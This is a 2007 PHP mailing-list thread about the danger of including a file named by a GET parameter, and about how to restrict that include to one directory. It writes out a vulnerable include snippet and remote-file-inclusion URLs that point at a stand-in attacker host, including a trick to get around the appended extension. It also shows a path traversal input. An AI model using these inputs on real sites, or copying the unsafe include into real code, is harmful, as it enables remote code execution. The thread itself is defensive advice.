> Date: Thu, 15 Nov 2007 13:16:46 +0000
> From: [EMAIL PROTECTED]
> To: [EMAIL PROTECTED]
> CC: php-general@lists.php.net
> Subject: Re: [PHP] file_exists
> 
> Instruct ICC wrote:
> > 
> > 
> >> Date: Thu, 15 Nov 2007 00:20:52 +0000
> >> From: [EMAIL PROTECTED]
> >> To: [EMAIL PROTECTED]
> >> CC: php-general@lists.php.net
> >> Subject: Re: [PHP] file_exists
> >>
> >> Philip Thompson wrote:
> >>> I've run into similar problems where I *thought* I was looking in the
> >>> correct location... but I wasn't. Take this for example....
> >>>
> >>>> $page = $_GET['page'];
> >>> if (file_exists ("$page.php")) {
> >>> include ("$page.php");
> >>> }
> >>> ?>
> >> I really hope this is not a piece of production code. If it is then you
> >> might want to think very hard about what it's doing. If you still can't
> >> see a problem let me know!
> >>
> >> -Stut
> >>
> >> --
> >> http://stut.net/
> >>
> >> --
> >> PHP General Mailing List (http://www.php.net/)
> >> To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> > 
> > Called like this?
> > 
> > index.php?page=http://evil-hacker-site.com/evil-payload.php
> > 
> > And the browser will probably url_encode for me if needed.
> 
> Actually in this example that would end up getting evil-payload.php.php 
> - probably not what your evil mind wanted. You could do this...
> 
> index.php?page=http://evil-hacker-site.com/evil-payload
> 
> ...assuming you know it's gonna stick .php on the end. Alternatively you 
> could do this...
> 
> index.php?page=http://evil-hacker-site.com/evil-payload.php?
> 
> Resulting in the appended .php being in the querystring. The easiest way 
> to protect your code from this is to always always prefix the string 
> with something as well as appending to it. For example...
> 
> $page = dirname(__FILE__).'/'.$_GET['page'].'.php';
> if (file_exists ($page)) {
>      include ($page);
> }
> 
> But that doesn't prevent a malicious user including any PHP file on your 
> server. $_GET['page'] should be one of a known set of values. At the 
> very least it should be restricted to file in a particular directory.
> 
> Something like the following would be much better (untested)...
> 
> $page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
> $expecteddir = realpath(dirname(__FILE__).'/inc');
> if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
> {
>      // Ideally return a 403 status here
>      die('Access denied');
> }
> // Now we know it's a file in the right directory
> if (file_exists($page))
> {
>      include($page);
> }
> else
> {
>      // Return a 404 status here
>      die('Resource not found');
> }
> 
> That should lock the requested page to the given directory. If anyone 
> can see any way around that I'd be interested in hearing about it.
> 
> -Stut
> 
> -- 
> http://stut.net/

Good points about (.php, evil-payload, and evil-payload.php?).

Although I'll defer to a security expert, your modification looks good to not 
include a remote site's code.
But on a shared host, what about this?:
index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php

If that gives something like:
$expecteddir === 
"/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
maybe it will include "/home/evil-user-home-dir/evil-payload.php"

Maybe a switch statement that only uses the file name supplied by the script 
(whether or not an unknown user supplies an actual file name.  I just did 
something like that today.  I have a custom "ls" type PHP script and I want it 
to search 1 of 2 directories only.  I check if the GET var is set; don't even 
look at the value, then do a custom "ls" on 1 or the other directory which is 
in the web path.  The whole site is behind htaccess though, but I added this 
layer for this special "ls" function.

_________________________________________________________________
Help yourself to FREE treats served up daily at the Messenger Café. Stop by 
today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline

Reply via email to